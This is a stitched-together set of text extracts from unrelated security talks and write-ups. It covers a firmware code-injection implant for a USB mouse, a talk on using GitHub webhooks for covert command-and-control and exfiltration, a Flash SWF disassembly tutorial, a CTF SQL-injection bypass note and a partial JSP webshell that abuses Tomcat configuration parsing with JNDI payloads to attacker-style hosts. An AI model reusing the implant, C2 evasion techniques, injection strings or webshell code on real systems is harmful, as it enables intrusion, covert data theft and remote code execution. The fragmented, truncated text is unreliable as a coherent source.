stack pointer into r0 asm("msr MSP, r0"); // set stack pointer with value in r0 asm("pop {r0-r9}"); // restore registers we pushed onto stack asm("msr PSP, r0"); // set the program stack pointer asm("ldr r0, STACK_SIZE"); // load desired stack size into r0 asm("msr MSP, r0"); // set stack pointer with value in r0 asm("ldr lr, ALL_F"); // set link register to default value 0xffffffff asm("ldr r0, MOUSE_ENTRY"); // load r0 with address of mouse entry point asm("bx r0"); // Branch to original mouse code // ENDS OUR PROGRAM Jump To Mouse Code // DATA asm("MOUSE_ENTRY: .word 0x08000141"); // entry point of original mouse code asm("HACK_ENTRY: .word 0x08013625"); // entry point of this code asm("STACK_PTR: .word 0x20004fd8"); // the stack pointer address AFTER // pushing registers to stack asm("STACK_SIZE: .word 0x20005000"); // stack pointer location for entry // into mouse code asm("ALL_F: .word 0xffffffff"); // default value of link register asm("FEEDBEEF: .word 0xfeedbeef"); // breadcrumbs Storing Data in Assembly Found The Beef! Inserted code can have unintended side effects. Almost there! ● Mouse code shipped with debugging disabled (hooray!) ● Debugging requires interrupts ● My code can debug... Debug with no Debug ● CPS IE - enable interrupts ● CPS ID - disable interrupts ● Flags: ○ i - PRIMASK (configurable handlers) ○ f - FAULTMASK (all handlers) ARM Interrupts: Change Processor State ● Find CPSID in objdump output ○ 0xB672 ● Replace with no-op ○ 0x0000 ● Cross fingers! Hands off my PRIMASK! 800018c: f380 8808 msr MSP, r0 8000190: 4770 bx lr 8000192: b662 cpsie i 8000194: 4770 bx lr 8000196: b672 cpsid i 8000198: 4770 bx lr Demonstration ● Have application check reset vector at boot ○ App can re-write reset vector after booting ● Application has hash of entire flash ○ Can’t store user modifications then? ○ What if the injected code changes the hash value? ○ What if injected code clears the flash it resides in after executing? Can we defend against extra code in a device? ● Only allow ‘normal’ behavior from HID peripherals ● Sign and verify drivers and flash of every peripheral (probably not) ● Whitelist EXEs ● Force everyone to use USB → PS2 adapters (nope) ● Provide trusted hardware Can we defend against this payload style? ● Source Code & Examples - https://bitbucket.org/mdhomebrew/ ● ARM Application Notes - http://infocenter.arm.com/help/index.jsp ● ST-Link - http://www.st.com/en/embedded-software/stsw-link004.html ● OpenSTM IDE - http://www.openstm32.org/ ● STM32CubeMX - http://www.st.com/en/development-tools/stm32cubemx.html References and helpful links Questions?
pdf
Abusing Web Hooks For Command And Control Dimitry Snezhkov @Op_nomad What we are going to talk about Subject: Safe(er) bidirectional delivery of content and communication across network boundaries with the use of WebHook technology. From: - Hostile networks - Monitored networks - Censored networks - Restricted networks To: - External Hosts under your control. (C&C servers) Purpose: - External Content Retrieval - Internal Content Exfiltration - Shell Execution on External and Internal Hosts Audience Offense • Red Teamers • Pen Testers Defense • DF/IR folks • Sysadmins • Developers • Privacy Advocates • Anyone interested in covert communication Dimitry Snezhkov “Opinions expressed are solely my own and do not express the views or opinions of my employer or it’s products.” What I do: - Offensive Testing - Code Hacking - Tool Hacking - Other security work Watson> Are you sure?.. About Meet Defense at their map of the world. • Seek alternative means of effective outbound communication through content proxies. • Maximize adaptive retooling capability for exfiltration. • Minimize discoverability of outbound communication in environments • Use opportunities in targeted environment to overcome restrictions. Context: Strategic Goals • Achieve asynchronous or realtime-asynchronous communication between hostile network and external server under your control. • Attempt to achieve reverse connectivity to hostile networks from external server under your control • Avoid existing detection mechanisms, elevating OpSec capability. • Attempt to avoid censorship in communicating to safe external server under your control. Context: Tactical Goals Technical Mechanisms • Discover HTTP WebHooks concept. • Use WebHooks to Achieve asynchronous unidirectional or bi-directional connectivity with external world. • Develop a tool to shuttle communication over WebHooks. Set The Stage: Players • Offense (RED) • Defense(BLUE) • Content Proxy • Command and Control Server (C2) • C2 Broker • Internal Agent, Client • External Agent, Server A game of 6 blind blue men and the red elephant The Problem Communication from restricted networks can be challenging. - What is this unknown entity? - How blind is it - How can I better restrict it - How to detect its capabilities without revealing my mechanisms The Problem: Blue Perspective • Wait until unknown moves • Place a monitor and watch. Passive and works for us… - What is this unknown environment. How can I quickly/safely learn more. - What can they do to me, How many defenses are there, How many more will I see if I move - How blind are they really. - Where are sensors. How many attempts. What timeouts? - The Problem: Red Perspective Wish: If I don’t move maybe they will go away … Reality: Have to move to figure out. The Elephant has to move… • Unsafe negative outcome • Safe negative outcome • Safe positive outcome 0:0 First move may kill For the Elephant Know the feeling? Unsafe Negative Outcome Safe Negative Outcome Red: My probes tell me I can classify this environment as HOSTILE: - IDS sensor - ICMP/DNS Tunneling prohibited - Tight Content proxy - Looks like I cannot reach drives, - No domain fronting. - If I move with brute force I will crash. Panic now? But I am still ALIVE! Blue: My sensors tell me I can classify the unknown as SAFE, we are friends. Opinions: - it’s an approved tool - It’s a safe protocol - It’s an approved port - It’s an allowed site - It’s a safe traffic, - It’s a known x,y,z…. My Mechanisms Check out: • I have a draconian content proxy, • I have a whitelist. • I inspect traffic for “known bad” Safe Positive Outcome X The map is not the territory! Both built a static map of the world based on previous assumptions and odds. Both CLASSIFIED the odds. No map is ever completely true • May have uses only “known” methods for classification • May be overly paranoid of each other’s capability. • May be dismissive of each other’s capability. 0:0 Red needs to: • Consistently break its static map of the world. Adapt. • Meet Blue at their map of the world. Pace and then lead them. The map is not the territory! mim· ic· ry /`miməkrē/ BIOLOGY the close external resemblance of an animal or plant (or part of one) to another animal, plant, or inanimate object. Safe Positive Outcome: On The Path to Mimicry Levels of Mimicry for Red. • Blue known and approved Business Need/Role/Process • Blue approved Traffic/Protocol • Blue “good” Tools and “valid” Rules On The Path to Mimicry: Developers Blue: Trust Detection Mechanisms • I have a draconian content proxy, • I have a whitelist. • I inspect traffic for “known bad” Recall: Pace: Mimic and Follow the Developer. Pace: Code Red tools in the shadow of the Developer process/tools/protocols/ Pace: Hide in plain sight, in the shadow of Developer routine. Lead: Make Blue believe you are “known good”. I believe my Developer -> I see you act as one -> I believe you.. Strategic Goals Revisited Meet Defense at their map of the world. WebHooks for the Red Elephants • A new technology for Asynchronous Web responses • Built for notification services. • Bound to make it’s way into the enterprise • Easy to implement. • Low maintenance. • Collaborative and Social Coding friendly. • Operates over HTTP. • All security mechanisms apply (TLS) Server Request / Response polling loop 1. We submit a request for processing to the Web server. 2. Server begins executing our request. 3… Client keeps polling Webserver for response. “Are we there yet?” - No. 5 request No! 50 requests No!! 500 requests - STOP Asking!!!! Server gets annoyed. Context switches, Resources 4. When the server has the result client grabs it. Client is happy, Server is a bit more relaxed , until next time. WebHooks. Response Subscription STOP Asking!!!! I could just tell the client when I am done. 0. Client provides a URL for response (a hook) to the server. 1. Client submits a request for processing to the server. 2. Server begins executing client request. Client sleeps. 3. When the server has the result it notifies the client by sending the response back 4. Client wakes up and processes the response. Client is happy. Server is happy. We communicate ASYNCHRONOUSLY WebHooks in Action • A link to the Client’s resource recorded on the Server. http://client/action/method • Client LISTENs for events or a port Client.listen(“X.X.X.X”, 8080) Server POSTS the response to the link when it’s ready. Who uses WebHooks? • Continuous Integration (CI) services (e.g Heroku) • Code management repos (GitHub, etc.) • Team Communication services (Slack, etc.) • Notifications and Alerting (e.g. DataDog, PagerDuty, etc.) Everyone else … Safe Negative Outcome Revisited Your direct connection C2 site is not ranked, sorry Red: My probes tell me I can classify this environment as HOSTILE: - IDS sensor - ICMP/DNS Tunneling prohibited Tight Content proxy - Looks like I cannot reach drives, - No domain fronting. - If I move with brute force I will crash. C2 Broker • Find a policy allowed site to communicate with. • Turn it into a content broker (C2 Broker) with WebHooks. • Drive data and communication over the broker site to C2 What If: Meet the Defense at their map of the world. C2 Broker Site Operation Poll result Request Notify Execute and Respond Store Store Proxy • Needs to be public • Needs to have a decent set of Web hook APIs (flexibility). • Needs to allow you to blend into the traffic. • Needs to be allowed, look normal (traffic expected by the business function). It needs to be on the “VIP list” with the content proxies C2 Broker Features Desirable Traits Who uses WebHooks? Follow the Developer • Continuous Integration (CI) services (e.g Heroku) • Code management repos (GitHub, etc.) • Team Communication services (Slack, etc.) • Notifications and Alerting (e.g. DataDog, PagerDuty, etc.) Everyone else … GitHub.com • Extensively used and Popular. Advantage • Developer friendly. Full featured WebHook API. Advantage • [Mostly] allowed. Advantage • OpSec features. TLS, tokens, HMAC on request. HTTP. Advantage • Developers drive internal adoption. Advantage GitHub as C2 Broker Site OctoHook – a GitHub C2 Broker Toolkit • Register OctoHook Server Webhook w/Github • Use OctoHook Client to send request to the OctoHook Server over Github (Store and forward) • Github site will drive the WebHook to Octohook Server. • The WebHook will reach to your C2 OctoHook Server and execute a command on your C2 server. • The C2 will store response of you command on Github. • You will fetch the response locally from Gihub site to your OctoHook Client Octohook: Github WebHook setup GitHub WebHook events Github Webhook: OpSec Github is trying to make communication secure. Use it to your advantage HMAC Certificate Octohook Agent Request Delivery Mechanisms • Every client is an Agent. - Unique Identifier. • Command Delivery • Over Git issues • Straight YAML/JSON • Templates • Initial Logon • Git app tokens Octohook Agent Response Delivery Mechanisms • Issue states: Client opens. Server closes • Responses over Comments to Issues. • Large responses are split across multiple comments, reassembled by client. Octohook Content Response Delivery Mechanisms • Over Git uploads per agent directory • Issue states and status updated over issue comments Scenario: Need tools infiltrated. Github Server Request / Response polling loop Client C2 Server Avoid asking “Are we there Yet?” • Throttling (Github and Octohook) • Manual polling command results • Inconvenient. Asynchronous but not real time Can we Improve? Octohook: Bidirectional Asynchronous Comms Before: A Poll from client (OK) We can make it asynch broadcast (Better) Client C2 server Github Octohook: Multi-hook C2 Broker GitHub Octohook Swarm. • IPs. • Ports • Resources Github allows up to 20 Web Hooks. Octohook: Roles Web Role (Parallel) Command Role (Exclusive) Client Side Client Side Server Side Server Side Octohook: Roles Client Server Demo 1.Asynchronous Command Execution. Polling 2.Asynchronous Bidirectional Command Response Delivery 3.Asynchronous Content Delivery 4.Auxiliary Features Octohook C2 Broker Now • Cross-Platform (Command Role only for now) • Real time/Asynchronous notification • On demand response monitoring (Git Issue polling) • Execute on server, find content and upload to GitHub for retrieval • Single process embedded command server, and the web server • Extensible with command plugins. • Request throttling aware. • Can be coded for exfiltration. • Can be coded for infiltration Octohook C2 Broker What’s Next • Broadcast across all agents. Swarming capability. • Send commands/receive commands from specific agents. • Role (re-)assignment. • Request to specific Agent • Simultaneous execution on multiple agents. • Flip C2 direction (e.g. to the inside). Defense and Mitigation WebHooks are here to stay. GitHub proxy is just one example. • Behavioral rules are best to see what is “normal” for your org. • Allow specific developer workstations access to Github. • Take a hard look of who and why is using GitHub in your org. Chances are Github is probably used everywhere in your org. • Allow access to only specific Repo paths if possible. Riding the Social coding and collaboration wave will most likely continue. • Survey what public cloud portals with webhooks are being used internally. Slack, CI tools, Video and Meeting software. Thank you! Code: https://github.com/dsnezhkov/octohook Questions? Follow updates / Stay in touch @Op_nomad
pdf
Disassemble Flash Lite 3.0 SWF file (How to protect your ActionScript source code) TAKESAKO @32bit.in <takesako@gmail.com> Japan is a birthplace of "K-ON!" and "K-TAI" nJapanese cellular phones are called "K-TAI" nJapanese cellular phones have made original evolution because the communication method isn't an universal standard and so on nthose have many functions, such as infrared ray, pictographs, electronic money, and television, nTherefore, In Japan, there aren't NOKIA's nJapanese people want smart phone now nBut, many old K-TAI still remain in Japan, and nmany people are playing “Flash Lite” game on K-TAI! n GREE, mobage, mixi … SWF File Format Specification n SWF Technology Center | Adobe Developer Connection nhttp://www.adobe.com/devnet/swf.html nVERSION 10 nAlexis’ SWF Reference nhttp://sswf.sourceforge.net/SWFalexref.html nFlash VERSION 1, 2, 3, 4, 5, 6, … n Flash 1.0 Flash 4.0 FlashLite 1.1 n 2001 Alexis' SWF Reference http://sswf.sourceforge.net/SWFalexref.html : : : : SWF Flash Lite 1.1+ “Hello world!” nhello.swf (75 byte) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 > swfdump -D hello.swf [HEADER] File version: 4 [HEADER] File size: 75 [HEADER] Frame rate: 12.000000 [HEADER] Frame count: 2 [HEADER] Movie width: 102.00 [HEADER] Movie height: 102.00 [009] 3 SETBACKGROUNDCOLOR (33/33/33) [00c] 23 DOACTION ( 18 bytes) action: Push String:"o" String:"Hello world!¥n" ( 0 bytes) action: SetVariable ( 0 bytes) action: End [025] 13 DEFINEEDITTEXT defines id 0001 variable "o" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END 1. How to read SWF flie nSWF File magic (4byte) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 struct swf_header { unsigned char f_magic[3]; 'FWS' or 'CWS' unsigned char f_version; unsigned long f_file_length; } 2. SWF File length (4byte) n32bit integer (Little Endian format) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 struct swf_header { unsigned char f_magic[3]; 'FWS' or 'CWS' unsigned char f_version; unsigned long f_file_length; } 57 = 4b 00 00 00 3. swf_header_movie (swf_rect) nswf_rect (variable length) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 struct swf_header_movie { swf_rect f_frame_size; unsigned short fixed f_frame_rate; unsigned short f_frame_count; }; 3.1. swf_rect (variable length) format nE.g. Decode “60 00 3f c0 00 3f c0” struct swf_rect { char align; unsigned f_size : 5; signed twips f_x_min : f_size; signed twips f_x_max : f_size; signed twips f_y_min : f_size; signed twips f_y_max : f_size; }; | ssss sxxx | xxxx xxxx | xXXX XXXX | XXXX Xyyy | yyyy yyyy | yYYY YYYY | YYYY Y000 | | 0110 0000 | 0000 0000 | 0011 1111 | 1100 0000 | 0000 0000 | 0011 1111 | 1100 0000 | | 6 0 | 0 0 | 3 f | c 0 | 0 0 | 3 f | c 0 | f_size = sssss(5bit) = 011000 = 12 f_x_min = xxxxxxxxxxxx(12bit) = 0 twips f_x_max = XXXXXXXXXXXX(12bit) = +2040 twips (104px) f_y_min = yyyyyyyyyyyy(12bit) = 0 twips f_y_max = YYYYYYYYYYYY(12bit) = +2040 twips (104px) 5bit 12bit 12bit 12bit 12bit Zero padding 2^12 = -2047+2047 variable variable variable variable 3.2. swf_header_movie (f_frame_rate) nFrame Rate (2byte) = 12.0 frame/sec 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 struct swf_header_movie { swf_rect f_frame_size; unsigned short fixed f_frame_rate; unsigned short f_frame_count; }; 8.8 bit fixed-point integer 12.0 à 00 0c 3.3. swf_header_movie (f_frame_count) nFrame count (16bit integer) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 struct swf_header_movie { swf_rect f_frame_size; unsigned short fixed f_frame_rate; unsigned short f_frame_count; }; 16bit integer automatically-calculated (Are you) still with me? nSWF header is finished! 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 Go to Next Stage! 0c 02 00 SWF File Format Overview nBlock image SWF header info Tag headerTagID, sizedata content Tag headerTagID, sizedata content Tag headerTagID=0, size=0 END tag 00 00 ActionScript byte code is here 4.1. SWF tag (variable length) format struct swf_tag { unsigned short f_tag_and_size; f_tag = f_tag_and_size >> 6; f_tag_data_size = f_tag_and_size & 0x3F; if(f_tag_data_size == 63) { unsigned long f_tag_data_real_size; } else { f_tag_data_real_size = f_tag_data_size; } }; 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 43 02 ↓ TagID:09 Size:3 Bit operation! SetBackgroundColor(TagID:09) → RR GG BB (3byte) t1 t0 s5 s4 s3 s2 s1 s0 t9 t8 t7 t6 t5 t4 t3 t2 4 3 0 2 0 1 0 0 0 0 1 1 0 0 0 0 0 0 1 0 1. If Size < 63 byte 4.2. SWF Tag header (2 byte) TagID = t0*2^0 + t1*2^1 + t2*2^2 + t3*2^3 + t9*2^9 = t0*1 +t3*8 = 1 + 8 = 9 Size = s0*2^0 + s1*2^1 + s2*2^2 + s3*2^3 + t5*2^5 = s0*1 +s1*2 = 1 + 2 = 3 t1 t0 s5 s4 s3 s2 s1 s0 t9 t8 t7 t6 t5 t4 t3 t2 3 f 0 3 0 0 1 1 1 1 1 1 0 0 0 0 0 0 1 1 4.3. SWF Tag header (6 byte) 2. If Size > 62 byte a 6 0 1 0 0 0 0 Next 4byte (32bit int) is real size data TagID = t0*2^0 + t1*2^1 + t2*2^2 + t3*2^3 + t9*2^9 = t2*4 +t3*8 = 4 + 8 = 12 Size = 2^0 + 2^1 + 2^2 + 2^3 + 2^4 + 2^5 = 63 (0x3f) ← magic number 422 byte Lesson 1. (calculate SWF Tag header) nFor instance, the data of tag is converted into the byte sequence of such feeling SetBgColor (TagID= 9, Size=3) → 43 02 RR GG BB doAction (TagID=12,Size=422)→ 3f 03 a6 01 00 00 xx xx PlaceObject (TagID= 4, Size=7) → 07 01 xx xx xx xx xx xx xx PlaceObject2 (TagID=26, Size=8) → 88 06 xx xx xx xx xx xx xx xx ShowFrame (TagID= 1, Size=0) → 40 00 End (TagID= 0, Size=0) → 00 00 442byte 3byte 5. doAction Tag 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 [00c] 23 DOACTION ( 18 bytes) action: Push String:"o" String:"Hello world!¥n" ( 0 bytes) action: SetVariable ( 0 bytes) action: End TagID Size 17 03 = TagID:12 Size:23byte Action Script Byte Code (explain later) Flasm Flasm 1.62 build Jun 9 2007 (c) 2001 Opaque Industries, (c) 2002-2007 Igor Kogan, (c) 2005 Wang Zhen All rights reserved. See LICENSE.TXT for terms of use. Usage: flasm [command] filename Commands: -d Disassemble SWF file to the console -a Assemble Flasm project (FLM) -u Update SWF file, replace Flasm macros -b Assemble actions to __bytecode__ instruction or byte sequence -z Compress SWF with zLib -x Decompress SWF Backups with $wf extension are created for altered SWF files. To save disassembly or __bytecode__ to file, redirect it: flasm -d foo.swf > foo.flm flasm -b foo.txt > foo.as Read flasm.html for more information. http://flasm.sourceforge.net/ 6. DefinedEditText Tag 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 [025] 13 DEFINEEDITTEXT defines id 0001 variable "o" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END TagID Size 7. PlaceObject Tag 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 [025] 13 DEFINEEDITTEXT defines id 0001 variable "o" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END TagID Size swf_matrix (variable length) struct swf_matrix { char align; unsigned f_has_scale : 1; if (f_has_scale) { unsigned f_scale_bits : 5; signed fixed f_scale_x : f_scale_bits; signed fixed f_scale_y : f_scale_bits; } unsigned f_has_rotate : 1; if (f_has_rotate) { unsigned f_rotate_bits : 5; signed fixed f_rotate_skew0 : f_rotate_bits; signed fixed f_rotate_skew1 : f_rotate_bits; } unsigned f_translate_bits : 5; signed f_translate_x : f_rotate_bits; signed f_translate_y : f_rotate_bits; }; 8. ShowFrame Tag 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 [025] 13 DEFINEEDITTEXT defines id 0001 variable "o" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END TagID Size 9. End Tag 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 [025] 13 DEFINEEDITTEXT defines id 0001 variable "o" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END TagID Size ActionScript Decompiler (1) Sothink SWF Decompiler http://www.sothink.com/product/flashdecompiler/ (1) SWF à ActionScriptSothink SWF Decompiler (2) Flare http://www.nowrap.de/flare.html [Demo] flare nicovideo.swf à nicovideo.flr _global.styles.TextArea.setStyle('borderStyle', 'solid'); _global.styles.TextArea.setStyle('backgroundColor', '0xFFFFEE'); _global.styles.ComboBox.setStyle('rollOverColor', '0xF0FFF0'); var arr = _url.split('/'); var U = 'http://' + strReplace(arr[2], 'res', (country_code == undefined) ? 'www' : country_code) + ((arr[3].charAt(0) == '~') ? '/' + arr[3] : '') + '/'; var NICOVIDEO_URL = 'http://' + strReplace(arr[2], 'ext', (country_code == undefined) ? 'www' : country_code) + ((arr[3].charAt(0) == '~') ? '/' + arr[3] : '') + '/'; var PLAYER_VERSION = '200808211900'; var B = U + 'api/'; system.useCodepage = true; Stage.scaleMode = 'noScale'; Stage.align = 'TL'; System.security.allowDomain('www.nicovideo.jp'); System.security.allowDomain('www.dev.nicovideo.jp'); System.security.allowDomain('res.nicovideo.jp'); System.security.allowDomain('dwango.co.jp'); [Demo] swf2protect swf2protect (How to use) swf2protect (anti-decompiling) swf2protect (Demo) Result: Flare failed to decompile (SEGV) Result: Flare failed to decompile (SEGV) Flash Player vs. ActionScript Decompiler nBoundary jump (ActionScript byte code) de ad be ef 96 = push data (z size) 99 xx xx yy yy 96 zz zz 99 = AlwaysBranch (+ y byte) AVM1 (Flash Player)
pdf
在看极客巅峰2020的wp里,babyback的题wp提到了。单引号被过滤使用\代替。由于当时没做出来 看了一下挺好奇查看了一下文章,做个总结。使用\代替单引号的一半只适用于下面的这种情况 类似 (Login_Only_For_36D的题) 这里的题目源码:https://github.com/y1nglamore/Y1ngCTF/blob/master/36D_Login_Only_For_36D/src/index.php 分析了一下代码,之所以用\在$uname处逃逸是因为,单引号被过滤了。绕过在uname处做过滤点造成无法闭合单引号的问题,如果用\逃逸单引号将变成如下的sql 从上面的题目代码修改了一下,然后练习一波 单引号逃逸后,拼接完如下可以成功注入 然后可以构造语句进行注入了 这里因为select和substr那些被过滤了,如果要猜对应的东西。需要这么干,原wp给出的语句 利用regxp和binary进行猜解 参考链接:https://www.gem-love.com/ctf/2283.html BINARY和VARBINARY与 CHAR和VARCHAR类型有点类似,不同的是BINARY和VARBINARY存储的是二进制的字符串,而非字符型字符串。也就是说,BINARY和VARBINARY没有字符集的概念,对其排序和 比较都是按照二进制值进行对比。 regxp则是正则匹配 Evernote Export file:///C:/Users/JiuShi/Desktop/mysql注入单引号被过滤,... 第1页 共1页 2020/10/8 22:30
pdf
@Y4tacker jsp新webshell的探索之旅 简介 这篇⽂章记录了我从⼀个⼩发现到实现RCE,为了实现更短的webshell,在这之间遇到了不断 的新问题再到解决,再到最终精简得到⼀个新的jsp五⾏Payload构成的webshell的过程 发现 在tomcat的扫描中都有对⼀些配置⽂件的扫描以及对⾥⾯的属性解析赋值的过程,由于之前的 ⼀些⼩发现(这⾥不多说),今天下午⼀个突如其来的crush在我⼼中出现,我去跟踪了⼀下解析 context.xml的过程 在 org.apache.catalina.startup.ContextConfig#contextConfig 中,从这⾥可以看 到defaultContextXml要么从标准上下⽂,要么则是默认值 conf/context.xml 接下来在解析阶段,在其中的 org.apache.tomcat.util.digester.Digester#startElement 引起了我的注意 这⾥如果匹配到标签 Context 或 Manager 则会去调 ⽤ org.apache.tomcat.util.digester.SetPropertiesRule#begin ,⽽这个函数中取出 属性赋值的地⽅如下 之后通过调⽤setProperty⽅法,去调⽤属性的set⽅法,具体如下(部分截图) 到了这⾥⼀个思路就涌现在我脑中,还记得fastJson的第⼀个payload吗 这不就是都是set的过程 之后我在contenx.xml中加上 { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://vps/TouchFile", "autoCommit":true } <Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://127.0.0.1/Exploit" autoCommit="true"></Manager> 再次启动tomcat,成功弹出了计算器 新的问题 可是这个利⽤链过程是在tomcat启动的过程啊,要想彻底解决我们还得去看看它是通过什么函 数进⾏解析,以及我们是否能控制呢 在 org.apache.catalina.startup.ContextConfig#init 中,我们看看关键的步骤 可以看到函数 contextConfig 中传⼊⼀个 contextDigester 对象,这个对象我们也很好得 到,虽然这是⼀个protected修饰的函数,但是⾥⾯的过程却都是public修饰的,因此我们直接 复制出来即可 protected void init() { Digester contextDigester = createContextDigester(); contextDigester.getParser(); ---------------- contextConfig(contextDigester); } 继续跟进执⾏在 org.apache.catalina.startup.ContextConfig#contextConfig ,最 开始我们便提到了要么从标准上下⽂,要么则是默认值 conf/context.xml ,那么为了扩展 攻击⾯利⽤我们肯定选择前者 流程实现构造Webshell 因此,我们再梳理⼀下上⾯的利⽤流程 1.实例化ContextConfig 2.获取StandardContext,添加到ContextConfig的context 3.初始化Digester对象 4.调⽤ContextConfig的contextConfig函数执⾏利⽤过程 <%@ page import="org.apache.catalina.startup.ContextConfig" %> <%@ page import="org.apache.tomcat.util.digester.Digester" %> <%@ page import="java.util.List" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.util.ArrayList" %> <%@ page import="org.apache.tomcat.util.digester.RuleSet" %> <%@ page import="org.apache.catalina.startup.ContextRuleSet" %> <%@ page import="org.apache.catalina.startup.NamingRuleSet" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.lang.reflect.Field" %> <% ContextConfig ctConfig = new ContextConfig(); //获取StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stcontext = (StandardContext) req.getContext(); stcontext.setDefaultContextXml("/tmp/context.xml"); Field context = ContextConfig.class.getDeclaredField("context"); context.setAccessible(true); context.set(ctConfig,stcontext); //实例化Digester对象 Digester digester = new Digester(); 在浏览器直接访问,成功弹出 digester.setValidating(false); digester.setRulesValidation(true); HashMap<Class<?>, List<String>> fakeAttributes = new HashMap<>(); ArrayList<String> attrs = new ArrayList<>(); attrs.add("className"); fakeAttributes.put(Object.class, attrs); digester.setFakeAttributes(fakeAttributes); RuleSet contextRuleSet = new ContextRuleSet("", false); 